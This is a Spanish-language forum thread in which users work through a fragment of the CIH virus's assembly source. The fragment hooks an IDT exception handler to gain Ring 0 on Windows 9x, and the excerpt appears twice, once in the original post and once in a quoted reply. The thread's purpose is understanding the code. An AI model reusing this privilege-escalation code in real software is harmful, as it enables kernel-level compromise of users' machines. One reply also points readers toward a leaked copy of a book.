Obtencion de Ring 0 por parte del virus CIH en Windows 9x.

Iniciado por Usuario887, 7 Agosto 2020, 12:25 PM

0 Miembros y 1 Visitante están viendo este tema.

Usuario887

Hola,
Hace poco descargue el codigo fuente del virus CIH para entenderlo, pues me parece interesante. Sin embargo me encontre con una parte de el que no entiendo muy bien, como era de esperarse...

Código (asm) [Seleccionar]
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi


El comentario es bastante descriptivo. Sin duda suficiente para entender el objetivo, sin embargo el medio en si que utiliza en toda profundidad no lo entiendo plenamente:

Código (asm) [Seleccionar]
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

Aparentemente esta metiendo a EAX en la pila para luego, en sidt [esp-02h], introducir la base de la IDT en EBX pero, ¿por que resta 2? ¿no deberia mas bien sumar 4? recordemos que los valores en la medida que son antiguos en la pila, se encuentran en posiciones de memoria mas altas y, en este caso, hablando de un registro de 4 bytes, precisamente 4 posiciones mas alto.

Código (asm) [Seleccionar]

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

Esto no es nada evidente para mi. ¿Mueve, aparentemente, el Entry Point del IDT HookExceptionNumber a ebp, y luego lo que sea que se encuentre 4 bytes antes del mismo en los 16 bits menos significativos de EBP? ¿que sentido tiene?

Código (asm) [Seleccionar]
lea esi, MyExceptionHook-@1[ecx]
Ahora, mas evidentemente mueve el desplazamiento del hook a ESI. Sin embargo, ¿que es -@1[ecx]? ¿alguna forma de relocalizacion? No lo entiendo en absoluto. Aun no he aprendido esa sintaxis... ¿alguien tiene idea de al menos como se llama?

Código (asm) [Seleccionar]
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

Mueve a esa misteriosa direccion (EBX-04) el desplazamiento antes mencionado... ¿alguien tiene idea de que hay en los anteriores 4 bytes a un IDT? (evidentemente otro IDT, pero la pregunta es ironica, quiero decir, ¿alguien sabe por que?)

Eso es todo... estoy un poco enredado.
Saludos.

BloodSharp

Cita de: marax en  7 Agosto 2020, 12:25 PMHola,
Hace poco descargue el codigo fuente del virus CIH para entenderlo, pues me parece interesante. Sin embargo me encontre con una parte de el que no entiendo muy bien, como era de esperarse...

Código (asm) [Seleccionar]
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi


Nooooo que nostalgia, este código lo que hace es hookear el manejador de la interrupción en kernel mode de 32 bits...

Código (asm) [Seleccionar]
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0


Lo que hace es obtener el puntero a la estructura de IDT y luego añadir el offset de la interrupción deseada (HookExceptionNumber) para llegar a la subestructura de la interrupción.

Código (asm) [Seleccionar]
cli
Deshabilita las interrupciones si mal no recuerdo, eso es para poder escribir en sectores importantes como la IDT... En algun momento debe rehabilitar con la instrucción sti...

Código (asm) [Seleccionar]
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

Ni idea porque hace eso exactamente...

Código (asm) [Seleccionar]
lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi


Obtiene la dirección del manejador MyExceptionHook y la inserta en la tabla Descriptor de la interrupción si mal no recuerdo, esa instrucción
Código (asm) [Seleccionar]
shr es un desplazamiento de bits para agregarla la mitad en una zona del descriptor, finalmente la otra mitad en iba en otra zona.

En castellano lo que hace esto es como un API Hooking de una interrupción, había un libro viejazo llamado Rootkits Subverting the Windows Kernel donde había un ejemplo completo hecho en C y assembler... Seguramente por internet debe haber un pdf o chm filtrado de ese libro. :silbar:


B#



Usuario887

#2
Cita de: BloodSharp en  7 Agosto 2020, 18:46 PM
Lo que hace es obtener el puntero a la estructura de IDT y luego añadir el offset de la interrupción deseada (HookExceptionNumber) para llegar a la subestructura de la interrupción.

Claro... pero, ¿no te paree curioso que añada 4 sin razon alguna?:
Código (asm) [Seleccionar]
add ebx, HookExceptionNumber*08h+04h
Tienes la base de la IDT en EBX. Le sumas cuantas IDTs hayan en el camino hasta el descriptor objetivo (cuantia que se expresa como HookExceptionNumber*8) y ya esta; no es necesario sumar 4. A partir de aqui comienza mi confusion.

Saludos.